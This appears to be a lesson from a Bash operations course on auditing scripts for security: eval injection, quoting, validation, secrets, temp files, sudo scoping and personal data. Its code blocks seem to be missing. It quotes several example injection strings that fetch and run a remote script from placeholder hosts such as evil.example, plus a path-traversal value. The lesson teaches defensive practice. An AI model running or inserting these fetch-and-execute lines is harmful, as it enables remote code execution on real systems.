The previous lesson ended with an uncomfortable question: the toolkit is already readable and fast, but is it secure? These scripts run with nobody watching, some of them with sudo, they store SSH keys that open three servers, they read a configuration file with credentials and they process a CSV with customer and courier data. A performance failure makes the report arrive late; a security failure lets somebody run commands on srv-veloz-01 with your permissions. This lesson audits the toolkit from top to bottom: command injection, input validation, secrets, temporary files, least privilege, race conditions and personal data, with a final checklist.

1. The threat model of an operations script
2. Command injection: why eval is a bomb
3. Building commands without eval
4. The unquoted variable as an attack vector
5. sourceing the configuration runs arbitrary code
6. Untrusted input: validate with an allowlist
7. Paths, -- and hostile file names
8. Secret management
9. Safe temp files, TOCTOU and atomic writes
10. Privileges and the inherited environment
11. Personal data
12. Checklist applied to the toolkit

Before reviewing techniques it is worth knowing who we are defending against. A toolkit script receives data from places we do not control:

The operational conclusion is harsh and unintuitive: a log line is hostile data. If somebody writes "; curl http://evil/s.sh | bash; #" in the user-agent of an HTTP request, that string ends up in a file your script reads every night.

eval takes a string, expands it again and runs it as if you had typed it yourself. In other words: it turns data into code.

With field=city it works. With field='x; curl -s http://evil.example/s.sh | bash' it also works: it downloads and runs a script. And that field can come from an argument, from a log or from the API's JSON.

The rule is almost absolute: if you are writing eval, there is another way to do it. In operations-script reviews, 99% of eval calls are replaceable. The same dangers apply to bash -c "$string", ssh host "$string" (07-06) and find -exec sh -c "$string": these are the four hot spots of any audit, because in all of them the text goes through the interpreter again.

The typical case is "assemble a command with variable options". The correct solution is an array, not a string:

When you expand "${options[@]}" each element arrives as one argument, without going through word splitting or globbing again; even if it contains ; or $(...), curl receives it as literal text. To compose strings without a subshell there is printf -v path '%s/%s.json' "$DIR" "$city", and for "access the variable whose name is in another variable" — where most eval calls show up — Bash 4.3 has name references:

declare -n (or local -n) creates an alias without expanding the content as code, which was exactly eval's problem. It is still worth validating that $1 is a valid identifier.

We already know from 03-06 that an unquoted variable suffers word splitting and globbing. In security terms it stops being a cosmetic defect:

It is worth being precise here, because there is a widespread myth: without quotes, Bash does not run the ; as a command separator — word splitting happens after parsing. What does happen, and is enough for disaster, is that rm receives four arguments (shipments.csv;, rm, -rf, /tmp/veloz) and deletes /tmp/veloz. With a value like * -rf, globbing expands the whole directory. The conclusion does not change: always quote.

In 05-06 we loaded etc/veloz-ops.conf with source. It is convenient and that is why it is the majority pattern, but it means the configuration file is a script: a line curl -s http://evil.example/backdoor.sh | bash inside it runs with the toolkit's permissions.

There are two defenses. The mandatory one: file mode 600, owned by the service user, in a directory not writable by others. The second, for configurations with no logic, is to parse instead of execute:

Each line is treated as text: the key is required to be an uppercase identifier — which discards comments, blank lines and commands — and the value is assigned with printf -v, which never interprets it.

The difference between a denylist and an allowlist decides many audits. Enumerating what is forbidden (;, |, `) always leaves something out: \n, &, URL encoding, the UTF-8 equivalent. Enumerating what is allowed and rejecting the rest is closed by construction.

Validate at the boundary, as soon as the data comes in, not ten functions further down. And validate the range as well as the format: days=999999999 is syntactically correct and causes an endless loop.

Three different problems with three different solutions.

Arguments that look like options. If a name starts with -, the command takes it as an option. -- marks the end of the options: rm -- "$file", grep -- "$pattern" f.log.

Paths with ... A parameter ../../etc/passwd takes "$DATA_DIR/$name" out of the intended directory. You normalize it and check the prefix:

Names with spaces and newlines. A file can be called report$'\n'/etc/passwd. That is why in 05-01 we used find -print0 with xargs -0: the null byte is the only character impossible in a name.

The toolkit's secrets are the API key, the mail password and the SSH key.

The correct way is a file with strict permissions, created with a restrictive umask:

--netrc (or --netrc-file) reads the credentials from that file; -u user:password would leave them visible in ps. For larger teams there are dedicated managers — Vault, pass, systemd-creds — with the same criterion: the script asks for the secret at run time and never writes it anywhere. And if a secret leaks, it is rotated immediately, before any other action; if it is also in Git, deleting it from the history is a separate problem we will look at in 08-04, and deleting it does not replace rotating it, because anyone could have cloned the repository.

A temp file with a predictable name (tmp=/tmp/veloz-report.txt) is a classic vulnerability: any user can create that file beforehand as a symbolic link to /etc/crontab, and when the script writes — even more so as root — it writes to the link's target. That is the symlink attack. The solution, already seen in 05-01, is mktemp, which creates the file with a random name and mode 600 in one atomic operation:

TOCTOU (time of check to time of use) is the window between checking and using. The pattern if [[ -e $target ]]; then veloz_die; fi; cp ... is intrinsically fragile: between the two lines somebody can create the file, and checking more times does not close the window. The solutions are atomic operations: mkdir (fails if it exists), set -o noclobber, mktemp or flock (05-02). The most important case in the toolkit is the atomic write of the result, because mv within the same filesystem is atomic:

Without that, anyone reading while it is being written will see half a file, and a script that dies halfway will leave a corrupt one that the next process will take as good.

Least privilege means each script has exactly the permissions it needs. daily-report.sh only reads a CSV and writes to logs/: it runs as the veloz user, not as root. When a privileged command is needed, it is scoped in /etc/sudoers.d/veloz:

That allows restarting the service and nothing else; a veloz ALL=(ALL) NOPASSWD: ALL is equivalent to handing over the root password, with the aggravating factor that nobody perceives it that way. Two more notes: Linux ignores the setuid bit on scripts that start with #!, precisely because the window between the kernel opening the file and the interpreter reading it is exploitable — so the answer to "I need privileges" is scoped sudo, never chmod u+s; and a directory writable by others in a privileged script's PATH lets someone drop a fake grep there.

Hence a sensitive script does not inherit its environment, it declares it:

It is the same idea as cron's minimal environment (07-01), applied for security: if somebody exports IFS=/, your word splitting changes meaning.

shipments.csv and access.log contain data that identifies people: courier names, IP addresses and, depending on the case, delivery addresses. Three consequences: anonymize every log that leaves the server — to support, to a vendor, to a ticket — with veloz_anonymize_log (06-02), which replaces IPs and identifiers with stable markers; minimize, by not copying the whole CSV if you only need three columns; and retain only what is needed, because the backup retention policy (07-03) is also a data protection measure.

And a warning that admits no nuance: any processing of real customer data must be reviewed with the security or compliance officer before going to production. The techniques in this lesson are necessary but they do not replace a legal analysis — GDPR or other applicable regulation — of what data you may process, where and for how long. A technically impeccable script can still be illegal.

• Believing "only I run this". The script ends up in a timer, on another server or in a colleague's hands. The input you type today, tomorrow a log writes.
• Filtering dangerous characters instead of accepting the valid ones. Every denylist is incomplete; use a closed case or [[ =~ ^[a-zA-Z0-9_-]+$ ]].
• Putting the secret on the command line "just to test". It stays in ps while it runs and in the history forever.
• Deleting a secret without rotating it. Deletion is not the mitigation; rotation is.
• Tip: sudo -l shows exactly what the user can run. If ALL shows up, you have work to do.
• Tip: auditing is recurring, not a milestone. Every time a script reads a new source, go back to the table in section 1.

Exercise 1. This fragment counts browsers from the user-agent in access.log. Identify the two vulnerabilities and rewrite it safely.

Exercise 2. Write veloz_validate_city, which validates its argument against Veloz Envíos' closed list and returns 0 or 1 with a message on stderr, working even if the argument is missing or contains spaces.

Exercise 3. backup.sh generates /srv/veloz/backups/summary.txt with a direct >. Explain the two problems and rewrite the block atomically and with a safe temp file.

Solution 1. The vulnerabilities are (a) $line unquoted, which suffers word splitting and globbing, and (b) eval over a value written by the HTTP client: a user-agent like x; curl http://evil/s|bash; x gets executed. On top of that, read without -r mangles backslashes.

An associative array's key accepts any text without interpreting it, so hostile data stops being code; the allowlist also avoids absurd keys in the report.

Solution 2.

${1-} avoids the failure with set -u when there is no argument (03-06), the case is a closed allowlist and %q escapes the value so a newline cannot pollute or forge the log.

Solution 3. The problems are that the file is read while it is being written — a reader sees a half-finished summary — and that a failure halfway leaves a corrupt file that the next process will take as good. The temp file must be on the same filesystem as the destination so that mv is atomic:

Auditing an operations script comes down to accepting that the data coming in is hostile — a log line is written by anyone who makes an HTTP request — and closing off the routes by which data turns into code. The main one is eval, replaceable by argument arrays, printf -v and declare -n; next come bash -c, ssh host "$string" and find -exec sh -c, and the source of the configuration file, which executes whatever it contains and can be replaced by parsing key=value with an allowlist of names. Validation is done at the boundary and always with an allowlist — a closed case or [[ =~ ^[a-zA-Z0-9_-]+$ ]] — checking range as well as format, with -- to end the options, realpath plus a prefix check against paths with .., and -print0/xargs -0 against names with spaces or newlines. Secrets never go in the code, nor on the command line — visible in ps — nor in the history, nor in needlessly exported variables: a 600 file with umask 077, --netrc in curl, dedicated managers if the team grows, and in the face of a leak always rotate, before deleting. Temp files are created with mktemp and cleaned up with trap EXIT, because a predictable name in /tmp is a symlink attack waiting to happen; checks of the if [[ -e f ]] kind are fragile by definition and results are published with an atomic mv; privileges are scoped command by command in sudoers, knowing that Linux ignores setuid on scripts and that this protects us; and a sensitive script sets its PATH, its IFS and its umask instead of inheriting them. Finally, personal data demands anonymizing before sharing, minimizing what is copied, retaining only what is needed and — with no exceptions — reviewing any processing of real data with the security or compliance officer before production.

The toolkit is now readable, fast and audited. But all those changes have been made by editing files on top of the previous ones, with no way of knowing what changed, when, why or how to go back if the watchdog.sh refactor breaks monitoring on Tuesday at dawn. Lesson 08-04 puts ~/veloz-ops/ under version control with Git: what gets versioned and what does not — starting with the configuration file we have just protected — commit messages that are useful in operations, undoing with judgment, branches for testing without touching production, tags to mark the version deployed across the fleet and a pre-commit hook that prevents unreviewed code from being pushed.